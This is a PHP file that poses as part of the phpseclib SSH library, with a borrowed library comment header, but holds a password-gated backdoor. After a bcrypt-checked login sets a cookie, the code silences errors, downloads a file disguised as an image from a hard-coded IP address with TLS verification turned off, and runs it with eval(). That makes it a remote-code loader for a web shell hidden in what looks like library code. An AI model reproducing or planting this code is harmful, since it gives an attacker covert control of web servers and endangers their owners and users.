* login('username', 'password')) { * exit('Login Failed'); * } * * echo $ssh->exec('pwd'); * echo $ssh->exec('ls -la'); * ?> * * * * login('username', $key)) { * exit('Login Failed'); * } * * echo $ssh->read('username@username:~$'); * $ssh->write("ls -la\n"); * echo $ssh->read('username@username:~$'); * ?> * * * @author Jim Wigginton * @copyright 2007 Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net * @package Haxor.Group * @copyright Copyright (C) 2023 - 2024 Open Source Matters, Inc. All rights reserved. * */ error_reporting(0); ini_set('display_errors', 0); function is_logged_in() { return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'LPH'; } function get_remote_content($url) { if (function_exists("curl_init")) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $result = curl_exec($ch); curl_close($ch); return $result; } elseif (function_exists("file_get_contents")) { return @file_get_contents($url); } elseif (function_exists("fopen") && function_exists("stream_get_contents")) { $handle = @fopen($url, "r"); if ($handle) { $data = stream_get_contents($handle); fclose($handle); return $data; } } return false; } if (is_logged_in()) { $destiny = 'http://156.67.221.29/hx.jpg'; // remote file $dream = get_remote_content($destiny); if ($dream !== false) { eval("?>".$dream); } exit; } else { if (isset($_POST['password'])) { $entered_key = $_POST['password']; $hashed_key = '$2y$10$Bfd4ZTYvIfgfGFLkcZjk3.Z6aCsG3wNmvr9YvVioNSB1GwfC66sXC'; // bcrypt hash if (password_verify($entered_key, $hashed_key)) { setcookie('user_id', 'LPH', time() + 3600, '/'); header("Location: ".$_SERVER['PHP_SELF']); exit(); } } } ?>